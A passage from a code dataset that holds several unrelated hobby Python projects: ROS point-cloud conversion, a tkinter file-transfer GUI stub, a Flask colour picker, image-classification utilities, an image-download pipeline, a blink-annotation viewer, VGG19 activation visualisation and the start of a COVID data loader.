y_offset.append(y_min)\n x_top.append(x_max)\n y_top.append(y_max)\n\n # Crop image\n rgb_cutout = rgb_img_cv2[y_min:y_max, x_min:x_max, :]\n depth_cutout = depth_img_cv2[y_min:y_max, x_min:x_max]\n\n\n # cv2.imshow(\"IMAGE\", rgb_cutout)\n # cv2.waitKey(1)\n # rospy.sleep(1)\n rgb_list.append(rgb_cutout)\n depth_list.append(depth_cutout)\n\n # if len(rgb_list) < 1:\n # print(\"not enough confidence\")\n # else: \n # print(\"publishing\", len(rgb_list), \"pointclouds\")\n\n return rgb_list, depth_list, x_offset, y_offset, x_top, y_top\n\ndef publishAsPC2(cabinets_rgb, cabinets_depth, x_offset, y_offset, x_top, y_top, classes, confideces):\n\n id_c = 0\n id_h = 0\n table_id_c_k = []\n table_id_h_k = []\n pcd_list = []\n \n rgb_img_cv2 = rgb_image[0]\n msg = CNN()\n for k in range(len(cabinets_rgb)):\n if (confideces[k] > min_confidence):\n img = cabinets_rgb[k]\n depth = cabinets_depth[k] # [0]\n\n msg_pointcloud = rgbd_to_pc2(img, depth, rgb_img_cv2.shape, x_offset[k], y_offset[k])\n # print(msg_pointcloud)\n\n #For Marc\n pcd_list.append(msg_pointcloud)\n\n # print(\"Published\",k,\"th Pointcloud in Image. Using\",zoom,\"x zoom\")\n if (classes[k] == class_cabinet):\n msg.CNN_cabinet.append(msg_pointcloud)\n table_id_c_k.append(k)\n id_c = id_c +1\n elif (classes[k] == class_knob):\n msg.CNN_knobs.append(msg_pointcloud)\n msg.ids.append(-1)\n table_id_h_k.append(k)\n id_h = id_h +1\n\n # For Marc\n for i, pc2 in enumerate(pcd_list):\n name = 'pc2_from_CNN' + str(i)\n fitted_pcd = rospy.Publisher(name, PointCloud2, queue_size = 5)\n fitted_pcd.publish(pc2)\n\n for h in range(id_h):\n for c in range(id_c):\n k_c = table_id_c_k[c]\n k_h = table_id_h_k[h]\n y_mid = (y_top[k_h] + y_offset[k_h])/2\n x_mid = (x_top[k_h] + x_offset[k_h])/2\n if (y_mid > y_offset[k_c]) and (y_mid < y_top[k_c]) and (x_mid > x_offset[k_c]) and (x_mid < x_top[k_c]):\n msg.ids[h] = c \n\n # print(\"Seg msg\", len(msg.ids), max(msg.ids))\n # print(\"Seq Data\", len(msg.CNN_knobs), len(msg.CNN_cabinet))\n pcd_pub.publish(msg)\n return\n\ndef rgbd_to_pc2(img, depth, imshape, x_offset, y_offset):\n \n header = Header()\n header.frame_id = \"cam\"\n header.stamp = rospy.Time.now()\n\n fields_points = [PointField('x', 0, PointField.FLOAT32, 1),\n PointField('y', 4, PointField.FLOAT32, 1),\n PointField('z', 8, PointField.FLOAT32, 1)]\n\n points_list = []\n bad_list = []\n\n for i in range(len(img)):\n for j in range(len(img[0])):\n z = depth[i,j] # * -1.0 #/ focal_len\n y = (z * (y_offset + j) / (imshape[0] * focal_len)) \n x = (z * (x_offset + i) / (imshape[1] * focal_len))\n\n \n # points_list.append(np.array([x,y,z], dtype=float))\n # print(z, depth[i,j], -depth[i,j])\n if z < -201.0 or z > 201.0:\n points_list.append(np.array([x,y,z], dtype=float))\n # print(i*len(img)+j, z)\n else:\n bad_list.append(np.array([x,y,z], dtype=float))\n\n \n if len(points_list) < 1:\n points_np = np.stack( bad_list, axis=0 )\n msg_pointcloud = point_cloud2.create_cloud(header, fields_points, points_np)\n print(\"Publishing unnormalized Pointcloud due to error\")\n return msg_pointcloud\n else:\n points_np = np.stack( points_list, axis=0 )\n msg_pointcloud = point_cloud2.create_cloud(header, fields_points, points_np)\n return msg_pointcloud\n\ndef depth_callback(msg):\n global depth_image\n try:\n # Convert the ROS Image message to a BGR8 image using cv_bridge\n frame = bridge.imgmsg_to_cv2(msg, desired_encoding='passthrough')\n # print(min, max, np.min(frame), np.max(frame))\n # frame1d = cv2.convertScaleAbs(frame)\n\n depth_image.append(frame)\n if len(depth_image) > 1:\n for i in range(1,len(depth_image)):\n depth_image.pop(0)\n\n except Exception as e:\n print(\"depth\", e)\n\n\ndef color_callback(msg):\n # Convert ROS image message to OpenCV image\n # rgb_image.clear()\n # print(\"got color info\")\n # msg.encoding = \"bgr16\" # Keine Anhnung aber https://gist.github.com/awesomebytes/30bf7eae3a90754f82502accd02cbb12\n try:\n # Convert the ROS Image message to a BGR8 image using cv_bridge\n frame = bridge.imgmsg_to_cv2(msg, desired_encoding='passthrough')\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame = cv2.normalize(frame, None, 0, 255, cv2.NORM_MINMAX, dtype=cv2.CV_8U)\n rgb_image.append(frame)\n\n if len(rgb_image) > 1:\n for i in range(1,len(rgb_image)):\n rgb_image.pop(0)\n\n except Exception as e:\n print(\"rgb\",e)\n \n\nif __name__ == '__main__':\n # Initialize the node\n rospy.init_node('image2pcd')\n pcd_whole = rospy.Publisher('pcd_whole', PointCloud2, queue_size = 5)\n # pcd_knobs = rospy.Publisher('pcd_CNN_knobs', PointCloud2, queue_size = 5)\n pcd_pub = rospy.Publisher('CNNs', CNN, queue_size = 5)\n\n # Subscribespy.Publisher('pcd_CNN_cabinet', PointCloud2, queue_size = 5)\n # pcd_knobs = rospy\n rospy.Subscriber('bounding_boxes', Float32MultiArray, bb_callback)\n rospy.Subscriber('/camera/color/image_raw', Image, color_callback)\n rospy.Subscriber('/camera/depth/image_rect_raw', Image, depth_callback)\n\n rospy.spin()\n","repo_name":"marc1198/can_you_handle_it","sub_path":"src/projects/handle_detect/src/segmentation.py","file_name":"segmentation.py","file_ext":"py","file_size_in_byte":8751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22304967825","text":"import tkinter\n\nclass Gui:\n\tdef __init__(self):\n\n\t\t#Main window\n\t\tself.main_window = tkinter.Tk()\n\n\t\t#Set Window Default Size\n\t\tself.main_window.geometry('400x300')\n\n\t\t#Set Window Title\n\t\tself.main_window.wm_title(\"File Transfer Program\")\n\n\t\t#Creating the three frames\n\t\tself.top_frame = tkinter.Frame(self.main_window)\n\t\tself.middle_frame = tkinter.Frame(self.main_window)\n\t\tself.bottom_frame = tkinter.Frame(self.main_window)\n\n\t\t#Variables that are user input\n\t\tself.ipAddr = tkinter.StringVar()\n\t\tself.usrN = tkinter.StringVar()\n\t\tself.usrP = tkinter.StringVar()\n\t\tself.destPath= tkinter.StringVar()\n\t\tself.sourPath = tkinter.StringVar()\n\n\t\t#Setting HeaderFrame with a HeaderLabel\n\t\tself.head_label = tkinter.Label(self.top_frame, text=\"File Transfer Program\", font=(16))\n\t\tself.head_label.pack(side = \"top\", fill = \"both\")\n\n\t\t#Setting labels and entry widget for the different user inputs\n\t\t#Setting default entries\n\t\tself.ipAddr_label = tkinter.Label(self.middle_frame, text=\"IP Adress:\").grid(row=0,column=0)\n\n\t\tself.ipAddr_entry = tkinter.Entry(self.middle_frame, bd =5)\n\t\tself.ipAddr_entry.grid(row=0, column=1)\n\t\tself.ipAddr_entry.insert(0, \"10.0.0.0\")\n\n\t\tself.usrN_label = tkinter.Label(self.middle_frame, text=\"Username:\").grid(row=1, column=0)\n\n\t\tself.usrN_entry = tkinter.Entry(self.middle_frame, bd =5)\n\t\tself.usrN_entry.grid(row=1, column=1)\n\t\tself.usrN_entry.insert(0, \"lab\")\n\n\t\tself.usrP_label = tkinter.Label(self.middle_frame, text=\"Password:\").grid(row=2,column=0)\n\n\t\tself.usrP_entry = tkinter.Entry(self.middle_frame, bd =5)\n\t\tself.usrP_entry.grid(row=2,column=1)\n\t\tself.usrP_entry.insert(0, \"lab123\")\n\n\t\tself.destPath_label = tkinter.Label(self.middle_frame, text=\"Destination Path:\").grid(row=3,column=0)\n\n\t\tself.destPath_entry = tkinter.Entry(self.middle_frame, bd =5)\n\t\tself.destPath_entry.grid(row=3,column=1)\n\t\tself.destPath_entry.insert(0, \"/\")\n\n\t\tself.sourPath_label = tkinter.Label(self.middle_frame, text=\"Source Path:\").grid(row=4,column=0)\n\n\t\tself.sourPath_entry = tkinter.Entry(self.middle_frame, bd =5)\n\t\tself.sourPath_entry.grid(row=4,column=1)\n\t\tself.sourPath_entry.insert(0, \"/\")\n\n\t\t#Sets the button widgets\n\t\t#NEED TO ADD: FUNCTIONS FOR HELP AND CONNECT\n\t\tself.get_button = tkinter.Button(self.bottom_frame, text=\"Get\", command=self.hi).grid(row=0,column=0, pady=50)\n\t\tself.get_button = tkinter.Button(self.bottom_frame, text=\"Push\", command=self.hi).grid(row=0,column=1, pady=50)\n\t\tself.help_button = tkinter.Button(self.bottom_frame, text=\"Help\", command=self.hi).grid(row=0,column=2, pady=50)\n\t\tself.quit_button = tkinter.Button(self.bottom_frame, text=\"Quit\", command=self.main_window.destroy).grid(row=0,column=3, pady=50)\n\n\t\t#Packing the frames\n\t\tself.top_frame.pack()\n\t\tself.middle_frame.pack()\n\t\tself.bottom_frame.pack()\n\n\t\t#Enter the tkinter main loop.\n\t\ttkinter.mainloop()\n\n\t# The info method is a callback function for\n\t# the show info button.\n\tdef hi(self):\n\t\tprint(\"Hi.\")\n\nmyGui = Gui()\n","repo_name":"lydiavasileva/ParamikoProject","sub_path":"Code/guitest.py","file_name":"guitest.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31126249854","text":"#! /usr/bin/env python3\n\nfrom color_control.rgb import start as rgb_start\nfrom color_control.rgb import set_color\nfrom flask import Flask, render_template, request\n\nSTARTING_COLOR = \"#000000\"\n\nrgb_start()\nset_color(STARTING_COLOR)\napp = Flask(__name__)\n\n@app.route('/')\ndef idx():\n return render_template('index.html', current_color=STARTING_COLOR)\n\n@app.route('/recolor', methods=['POST'])\ndef recolor():\n color = request.form[\"rgb-color\"]\n set_color(color)\n return render_template('index.html', current_color=color)\n\n","repo_name":"WRuman/colorselect","sub_path":"colorselect.py","file_name":"colorselect.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"16883902291","text":"import os\nimport sys\nimport pickle\n\nimport pandas as pd \nimport numpy as np \n\nfrom src.logger import logging\nfrom src.exception import CustomException\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import accuracy_score\nfrom tensorflow import keras\nimport tensorflow as tf\n\n\n\n## Save pickel File\ndef save_object(file_path,obj):\n try:\n dir_path = os.path.dirname(file_path)\n\n os.makedirs(dir_path,exist_ok=True)\n\n with open(file_path,\"wb\") as file_obj:\n pickle.dump(obj, file_obj)\n\n except Exception as e:\n raise CustomException(e, sys)\n\n\n\n\n\ndef evaluate_models(X_train, y_train,X_test,y_test,models):\n try:\n report = {}\n for i in range(len(list(models))):\n model = list(models.values())[i]\n\n model.fit(X_train, y_train) # Train model\n\n y_train_pred = model.predict(X_train)\n\n y_test_pred = model.predict(X_test)\n\n train_model_score = accuracy_score(y_train, y_train_pred)\n\n test_model_score = accuracy_score(y_test, y_test_pred)\n\n report[list(models.keys())[i]] = test_model_score\n\n return report\n\n except Exception as e:\n raise CustomException(e, sys)\n\n\ndef load_object(file_path):\n try:\n with open(file_path, \"rb\") as file_obj:\n return pickle.load(file_obj)\n\n except Exception as e:\n raise CustomException(e, sys)\n\n\n\n\n# this function will classify the dish in the image\ndef load_image_detection_model(model_path,file_path):\n try:\n classes = ['burger','butter_naan','chai', 'chapati','chole_bhature','dal_makhani','dhokla','fried_rice','idli','jalebi','kaathi_rolls','kadai_paneer','kulfi','masala_dosa','momos','paani_puri', 'pakode', 'pav_bhaji', 'pizza', 'samosa']\n model = keras.models.load_model(model_path)\n IMG_SIZE = (128, 128)\n raw_img = keras.preprocessing.image.load_img(file_path, target_size=IMG_SIZE)\n\n # Conver to to numpy array\n img_array = keras.preprocessing.image.img_to_array(raw_img)\n\n # Reshaping\n img_array = tf.expand_dims(img_array, 0) # Create batch axis\n\n # Make predictions\n predictions = model.predict(img_array)\n series = pd.Series(predictions[0], index=classes)\n\n proba = np.max(predictions)\n pred_class = classes[np.argmax(predictions)]\n\n logging.info(\"image is identified\")\n return pred_class\n\n except Exception as e:\n raise CustomException(e, sys)\n ","repo_name":"choudharyprince890/Food-Hub","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"75146134933","text":"import convertjson as queryfy\nimport multiprocessing\nimport createtable\nimport urllib\nimport runextractor as extract\nimport json\nimport happybase as db\nimport logging\nimport hbase\nimport os\nimport traceback\nimport datetime\nfrom mpipe import UnorderedStage, Pipeline\n\nclass Bundle:\n def __init__(self,i):\n self.i=i\n self.filelist=''\n self.error=None\n self.logs=''\n self.starttime = datetime.datetime.now()\n\ndef fetch(i):\n try:\n folder='/mnt/HT_extractions/data'\n logs=''\n filelist = []\n bundle=Bundle(i)\n if (os.path.exists(folder + '_urllist/' + str(i)) == False):\n raise Exception('Partfile: ' + str(i) + ' ' + 'couldnt open folder or not found!')\n inputfile = open(folder + '_urllist/' + str(i), 'r')\n outfile = open(folder + '_imagelist/' + str(i), 'w')\n for line in inputfile:\n id = line.split(',')[0]\n url = line.split(',')[1]\n urllib.urlretrieve(url, folder + '_images/' + id + '.jpg')\n outfile.write(folder + '_images/' + id + '.jpg\\n')\n filelist.append(folder + '_images/' + id + '.jpg')\n outfile.flush()\n outfile.close()\n bundle.filelist=filelist\n except Exception:\n error=traceback.format_exc()\n bundle.error=error\n\n return bundle\n\ndef extractandclean(bundle):\n if bundle.error == None:\n try:\n folder='/mnt/HT_extractions/data'\n extract.extract(folder + '_imagelist', folder + '_extracted', str(bundle.i))\n\n # remove the downloaded image files\n for file in bundle.filelist:\n if os.path.exists(file):\n os.remove(file)\n except Exception:\n error = traceback.format_exc()\n bundle.error=error\n return bundle\n\ndef updatetable(bundle):\n # create a file with id and extraction and then send it to table\n # TODO: refresh connection\n # TODO: add timings\n folder = '/mnt/HT_extractions/data'\n logfile = open(folder + '_logs/' + str(bundle.i), 'w')\n if bundle.error == None:\n try:\n IP = '10.1.94.57'\n tablename = 'escorts_images_sha1_dev'\n extratedfile = open(folder + '_extracted/' + str(bundle.i), 'r') # json dumped by parser indexer\n connection = db.Connection(IP)\n table = connection.table(tablename)\n\n linecount = 0\n for jsonstring in extratedfile:\n linecount += 1\n result = json.load(createtable.readablestring(jsonstring))\n uniquerowkey = result['id']\n query = queryfy.create_query_from_json(createtable.readablestring(jsonstring))\n table.put(uniquerowkey, query)\n\n except Exception:\n error = traceback.format_exc()\n bundle.error=error\n\n logfile.write('LOGS:'+bundle.logs+'\\n'+'ERRORS:'+bundle.error+'\\n'+'TIME TAKEN: '+str(datetime.datetime.now()-bundle.starttime))\n logfile.close()\n\n\nif __name__ == '__main__':\n\n stage1 = UnorderedStage(fetch, 4)\n stage2 = UnorderedStage(extractandclean, 4)\n stage3 = UnorderedStage(updatetable, 4)\n stage1.link(stage2)\n stage2.link(stage3)\n pipe = Pipeline(stage1)\n\n\n for number in range(0,8):\n pipe.put(number)\n\n pipe.put(None)\n\n","repo_name":"asitang/Memex-Hbase","sub_path":"p_pipeline.py","file_name":"p_pipeline.py","file_ext":"py","file_size_in_byte":3345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"42092274268","text":"# @author Anh Nhu\r\nimport tensorflow as tf\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport imageio\r\n\r\n# use GPU\r\ngpus = tf.config.experimental.list_physical_devices('GPU')\r\nif gpus:\r\n try:\r\n for gpu in gpus:\r\n tf.config.experimental.set_memory_growth(gpu, True)\r\n except RuntimeError as e:\r\n print(e)\r\n\r\n# load the image as input\r\nimage_shape = imageio.imread(\"BlondGirl.jpg\").shape\r\nimage = tf.keras.preprocessing.image.load_img(\"BlondGirl.jpg\", target_size = image_shape)\r\n\r\n# @author Anh Nhu\r\n# prepocess the image\r\nimg = tf.keras.preprocessing.image.img_to_array(image)\r\nimg = np.expand_dims(img, axis = 0)\r\nimg = tf.keras.applications.vgg19.preprocess_input(img)\r\n\r\n\r\n# Use VGG19 Model to get the features and activations of the input\r\n# @return a dictionary containing the activations in all convolution layers\r\ndef model_activations(img):\r\n\r\n model = tf.keras.applications.VGG19(include_top = False, weights = \"imagenet\")\r\n model.trainable = False\r\n model.summary()\r\n\r\n res = {}\r\n\r\n input = model.get_layer(name = \"input_1\")(img)\r\n\r\n block1_conv1_features = model.get_layer(name = \"block1_conv1\")(input)\r\n block1_conv2_features = model.get_layer(name = \"block1_conv2\")(block1_conv1_features)\r\n block1_pool_features = model.get_layer(name = \"block1_pool\")(block1_conv2_features)\r\n\r\n block2_conv1_features = model.get_layer(name = \"block2_conv1\")(block1_pool_features)\r\n block2_conv2_features = model.get_layer(name = \"block2_conv2\")(block2_conv1_features)\r\n block2_pool_features = model.get_layer(name = \"block2_pool\")(block2_conv2_features)\r\n\r\n block3_conv1_features = model.get_layer(name = \"block3_conv1\")(block2_pool_features)\r\n block3_conv2_features = model.get_layer(name = \"block3_conv2\")(block3_conv1_features)\r\n block3_conv3_features = model.get_layer(name = \"block3_conv3\")(block3_conv2_features)\r\n block3_conv4_features = model.get_layer(name = \"block3_conv4\")(block3_conv3_features)\r\n block3_pool_features = model.get_layer(name = \"block3_pool\")(block3_conv4_features)\r\n\r\n block4_conv1_features = model.get_layer(name = \"block4_conv1\")(block3_pool_features)\r\n block4_conv2_features = model.get_layer(name = \"block4_conv2\")(block4_conv1_features)\r\n block4_conv3_features = model.get_layer(name = \"block4_conv3\")(block4_conv2_features)\r\n block4_conv4_features = model.get_layer(name = \"block4_conv4\")(block4_conv3_features)\r\n block4_pool_features = model.get_layer(name = \"block4_pool\")(block4_conv4_features)\r\n\r\n block5_conv1_features = model.get_layer(name = \"block5_conv1\")(block4_conv4_features)\r\n block5_conv2_features = model.get_layer(name = \"block5_conv2\")(block5_conv1_features)\r\n block5_conv3_features = model.get_layer(name = \"block5_conv3\")(block5_conv2_features)\r\n block5_conv4_features = model.get_layer(name = \"block5_conv4\")(block5_conv3_features)\r\n block5_pool_features = model.get_layer(name = \"block5_pool\")(block5_conv4_features)\r\n\r\n res[\"b1_conv1_activation\"] = block1_conv1_features\r\n res[\"b1_conv2_activation\"] = block1_conv2_features\r\n res[\"b1_pool_activation\"] = block1_pool_features\r\n\r\n res[\"b2_conv1_activation\"] = block2_conv1_features\r\n res[\"b2_conv2_activation\"] = block2_conv2_features\r\n res[\"b2_pool_activation\"] = block2_pool_features\r\n\r\n res[\"b3_conv1_activation\"] = block3_conv1_features\r\n res[\"b3_conv2_activation\"] = block3_conv2_features\r\n res[\"b3_conv3_activation\"] = block3_conv3_features\r\n res[\"b3_conv4_activation\"] = block3_conv4_features\r\n res[\"b3_pool_activation\"] = block3_pool_features\r\n\r\n res[\"b4_conv1_activation\"] = block4_conv1_features\r\n res[\"b4_conv2_activation\"] = block4_conv2_features\r\n res[\"b4_conv3_activation\"] = block4_conv3_features\r\n res[\"b4_conv4_activation\"] = block4_conv4_features\r\n res[\"b4_pool_activation\"] = block4_pool_features\r\n\r\n res[\"b5_conv1_activation\"] = block5_conv1_features\r\n res[\"b5_conv2_activation\"] = block5_conv2_features\r\n res[\"b5_conv3_activation\"] = block5_conv3_features\r\n res[\"b5_conv4_activation\"] = block5_conv4_features\r\n res[\"b5_pool_activation\"] = block5_pool_features\r\n\r\n return res\r\n\r\n# display some activation in different layers\r\ndef visualize():\r\n # display the raw input image\r\n plt.imshow(image)\r\n plt.title(\"Original Image\")\r\n plt.show()\r\n\r\n # display the processed image\r\n plt.imshow(img[0,:,:,:])\r\n plt.title(\"Preprocessed Image\")\r\n plt.show()\r\n\r\n activation = model_activations(img)\r\n\r\n\r\n plt.imshow(activation[\"b1_conv1_activation\"][0,:,:,0])\r\n plt.title(\"Block1_Conv1 activation\")\r\n plt.show()\r\n\r\n plt.imshow(activation[\"b1_pool_activation\"][0,:,:,1])\r\n plt.title(\"Block1_Pool activation\")\r\n plt.show()\r\n\r\n\r\n plt.imshow(activation[\"b2_conv1_activation\"][0,:,:,1])\r\n plt.title(\"Block2_Conv1 activation\")\r\n plt.show()\r\n\r\n plt.imshow(activation[\"b2_pool_activation\"][0,:,:,1])\r\n plt.title(\"Block2_Pool activation\")\r\n plt.show()\r\n\r\n\r\n plt.imshow(activation[\"b3_conv1_activation\"][0,:,:,1])\r\n plt.title(\"Block3_Conv1 activation\")\r\n plt.show()\r\n\r\n plt.imshow(activation[\"b3_pool_activation\"][0,:,:,0])\r\n plt.title(\"Block3_Pool activation\")\r\n plt.show()\r\n\r\n\r\n plt.imshow(activation[\"b4_conv1_activation\"][0,:,:,1])\r\n plt.title(\"Block4_Conv1 activation\")\r\n plt.show()\r\n\r\n plt.imshow(activation[\"b4_pool_activation\"][0,:,:,6])\r\n plt.title(\"Block4_Pool activation\")\r\n plt.show()\r\n\r\n\r\n plt.imshow(activation[\"b5_conv1_activation\"][0,:,:,1])\r\n plt.title(\"Block5_Conv1 activation\")\r\n plt.show()\r\n\r\n plt.imshow(activation[\"b5_pool_activation\"][0,:,:,3])\r\n plt.title(\"Block5_Pool activation\")\r\n plt.show()\r\n\r\n\r\n# Call the visualization function\r\nvisualize()\r\n","repo_name":"anh-nn01/ConvNet-Activation-Visualization","sub_path":"Convolution_Visualization.py","file_name":"Convolution_Visualization.py","file_ext":"py","file_size_in_byte":5805,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"71957331733","text":"import os\nimport sys\nimport cv2\nimport glob\nimport csv\nimport numpy as np\nfrom collections import OrderedDict\nfrom datetime import datetime, timedelta\n\nif __name__ == '__main__':\n import sys\n sys.path.append('../../../')\n\nfrom fsdk.features.data import FaceData, EmotionData, BlinkData\n\n#---------------------------------------------\ndef main(argv):\n \"\"\"\n Main entry of this script.\n\n Parameters\n ------\n argv: list of str\n Arguments received from the command line.\n \"\"\"\n\n videoFile = 'c:/datasets/TFV/images/franck_%05d.jpg'\n\n # Load the video\n video = cv2.VideoCapture(videoFile)\n if not video.isOpened():\n print('Error opening video file {}'.format(videoFile))\n sys.exit(-1)\n\n fps = 30\n frameCount = int(video.get(cv2.CAP_PROP_FRAME_COUNT))\n\n blinks = [False for _ in range(frameCount)]\n\n # Text settings\n font = cv2.FONT_HERSHEY_SIMPLEX\n scale = 1\n thick = 1\n glow = 3 * thick\n\n # Color settings\n color = (255, 255, 255)\n\n paused = False\n frameNum = 0\n\n # Process the video input\n while True:\n\n if not paused:\n start = datetime.now()\n\n ret, img = video.read()\n if ret:\n frame = img\n else:\n paused = True\n\n drawInfo(frame, frameNum, frameCount, paused, fps, blinks)\n\n cv2.imshow('video', frame)\n\n if paused:\n key = cv2.waitKey(0)\n else:\n end = datetime.now()\n delta = (end - start)\n delay = int(max(1, ((1 / fps) - delta.total_seconds()) * 1000))\n\n key = cv2.waitKey(delay)\n\n if key == ord('q') or key == ord('Q') or key == 27:\n break\n elif key == ord('b') or key == ord('B'):\n blinks[frameNum] = not blinks[frameNum]\n elif key == ord('p') or key == ord('P'):\n paused = not paused\n elif key == ord('r') or key == ord('R'):\n frameNum = 0\n video.set(cv2.CAP_PROP_POS_FRAMES, frameNum)\n elif paused and key == 2424832: # Left key\n frameNum -= 1\n if frameNum < 0:\n frameNum = 0\n video.set(cv2.CAP_PROP_POS_FRAMES, frameNum)\n elif paused and key == 2555904: # Right key\n frameNum += 1\n if frameNum >= frameCount:\n frameNum = frameCount - 1\n elif key == 2162688: # Pageup key\n frameNum -= (fps * 10)\n if frameNum < 0:\n frameNum = 0\n video.set(cv2.CAP_PROP_POS_FRAMES, frameNum)\n elif key == 2228224: # Pagedown key\n frameNum += (fps * 10)\n if frameNum >= frameCount:\n frameNum = frameCount - 1\n video.set(cv2.CAP_PROP_POS_FRAMES, frameNum)\n elif key == 7340032: # F1\n showHelp(args.video, frame.shape)\n elif not paused:\n frameNum += 1\n\n frames = [i for i in range(frameCount)]\n data = [[i, j] for i, j in zip(frames, blinks)]\n\n np.savetxt('annotation.csv', data)\n\n video.release()\n cv2.destroyAllWindows()\n\n#---------------------------------------------\ndef drawInfo(frame, frameNum, frameCount, paused, fps, blinks):\n # Font settings\n font = cv2.FONT_HERSHEY_SIMPLEX\n scale = 0.5\n thick = 1\n glow = 3 * thick\n\n # Color settings\n black = (0, 0, 0)\n yellow = (0, 255, 255)\n\n # Print the current frame number and timestamp\n if blinks[frameNum]:\n text = 'BLINK'\n size, _ = cv2.getTextSize(text, font, scale * 3, thick)\n x = 5\n y = 5 + size[1]\n cv2.putText(frame, text, (x, y), font, scale * 3, black, glow)\n cv2.putText(frame, text, (x, y), font, scale * 3, yellow, thick)\n\n # Print the current frame number and timestamp\n text = 'Frame: {:d}/{:d} {}'.format(frameNum, frameCount - 1,\n '(paused)' if paused else '')\n size, _ = cv2.getTextSize(text, font, scale, thick)\n x = 5\n y = frame.shape[0] - 2 * size[1]\n cv2.putText(frame, text, (x, y), font, scale, black, glow)\n cv2.putText(frame, text, (x, y), font, scale, yellow, thick)\n\n timestamp = datetime.min + timedelta(seconds=(frameNum / fps))\n elapsedTime = datetime.strftime(timestamp, '%H:%M:%S')\n timestamp = datetime.min + timedelta(seconds=(frameCount / fps))\n totalTime = datetime.strftime(timestamp, '%H:%M:%S')\n\n text = 'Time: {}/{}'.format(elapsedTime, totalTime)\n size, _ = cv2.getTextSize(text, font, scale, thick)\n y = frame.shape[0] - 5\n cv2.putText(frame, text, (x, y), font, scale, black, glow)\n cv2.putText(frame, text, (x, y), font, scale, yellow, thick)\n\n#---------------------------------------------\ndef showHelp(windowTitle, shape):\n \"\"\"\n Displays an image with helping text.\n\n Parameters\n ----------\n windowTitle: str\n Title of the window where to display the help\n shape: tuple\n Height and width of the window to create the help image.\n \"\"\"\n\n # Font settings\n font = cv2.FONT_HERSHEY_SIMPLEX\n scale = 1.0\n thick = 1\n\n # Color settings\n black = (0, 0, 0)\n red = (0, 0, 255)\n\n # Create the background image\n image = np.ones((shape[0], shape[1], 3)) * 255\n\n # The help text is printed in one line per item in this list\n helpText = [\n 'Controls:',\n '-----------------------------------------------',\n '[q] or [ESC]: quits from the application.',\n '[p]: toggles paused/playing the video.',\n '[r]: restarts the video playback.',\n '[left/right arrow]: displays the previous/next frame (only when paused).',\n '[page-up/down]: rewinds/fast forwards the video by 1 minute.',\n ' ',\n ' ',\n 'Press any key to close this window...'\n ]\n\n # Print the controls help text\n xCenter = image.shape[1] // 2\n yCenter = image.shape[0] // 2\n\n margin = 20 # between-lines margin in pixels\n textWidth = 0\n textHeight = margin * (len(helpText) - 1)\n lineHeight = 0\n for line in helpText:\n size, _ = cv2.getTextSize(line, font, scale, thick)\n textHeight += size[1]\n textWidth = size[0] if size[0] > textWidth else textWidth\n lineHeight = size[1] if size[1] > lineHeight else lineHeight\n\n x = xCenter - textWidth // 2\n y = yCenter - textHeight // 2\n\n for line in helpText:\n cv2.putText(image, line, (x, y), font, scale, black, thick * 3)\n cv2.putText(image, line, (x, y), font, scale, red, thick)\n y += margin + lineHeight\n\n # Show the image and wait for a key press\n cv2.imshow(windowTitle, image)\n cv2.waitKey(0)\n\n#---------------------------------------------\n# namespace verification for invoking main\n#---------------------------------------------\nif __name__ == '__main__':\n main(sys.argv[1:])","repo_name":"luigivieira/fsdk","sub_path":"fsdk/analysis/blink/annotate.py","file_name":"annotate.py","file_ext":"py","file_size_in_byte":6911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1690268641","text":"import numpy as np\nimport pandas as pd\nfrom datetime import datetime\nfrom munch import Munch\nfrom load_csv import load_csv\n\n\ndef get_data(align_value=20):\n\n load_csv()\n dfIn = pd.read_csv('data.csv')\n dfDensity = pd.read_csv('data/density.csv')\n\n sumMskDf = dfIn.loc[29] + dfIn.loc[30]\n sumSpbDf = dfIn.loc[63] + dfIn.loc[26]\n\n for i in range(dfIn.shape[0]-1):\n if i == 0:\n sumAllDf = dfIn.loc[i]\n else:\n sumAllDf += dfIn.loc[i]\n\n sumAllDf = pd.Series(sumAllDf)\n sumMskDf = pd.Series(sumMskDf)\n sumSpbDf = pd.Series(sumSpbDf)\n\n sumAllDf['Province/State'] = 'Сумма по регионам'\n sumAllDf['Country/Region'] = 'Сумма по регионам'\n sumMskDf['Province/State'] = 'Москва + область'\n sumMskDf['Country/Region'] = 'Москва + область'\n sumSpbDf['Province/State'] = 'СПб + область'\n sumSpbDf['Country/Region'] = 'СПб + область'\n\n dfIn = dfIn.append(sumAllDf, ignore_index=True)\n dfIn = dfIn.append(sumMskDf, ignore_index=True)\n dfIn = dfIn.append(sumSpbDf, ignore_index=True)\n\n # dfIn['Density'] =\n dfIn = dfIn.sort_values(by=dfIn.columns[-1], ascending=False, ignore_index=True)\n # dfIn = pd.read_csv('covid_data.csv')\n\n dateArr = []\n\n for i in range(dfIn.shape[1]-4):\n dateIn = dfIn.axes[1][i+4]\n dateOut = datetime.strptime(dateIn, '%m/%d/%y').strftime('%d.%m.%y')\n dateArr.append(dateOut)\n # print(dateOut)\n\n valArr = []\n newCasesArr = []\n newCasesAlignArr = []\n valArrAlign = []\n labelArr = []\n maxLenValArrAlign = 0\n labelAnnotationArr = []\n labelAnnotationAllArr = []\n\n\n for i in range(dfIn.shape[0]-4):\n val = dfIn.loc[i][4:].to_list()\n label = dfIn.loc[i][1]\n valArr.append(val)\n labelArr.append(label)\n\n valAlign = []\n newCases = [0, 0]\n newCasesAlign = [0, 0]\n\n for i in range(len(val)):\n v = val[i]\n if i > 1:\n 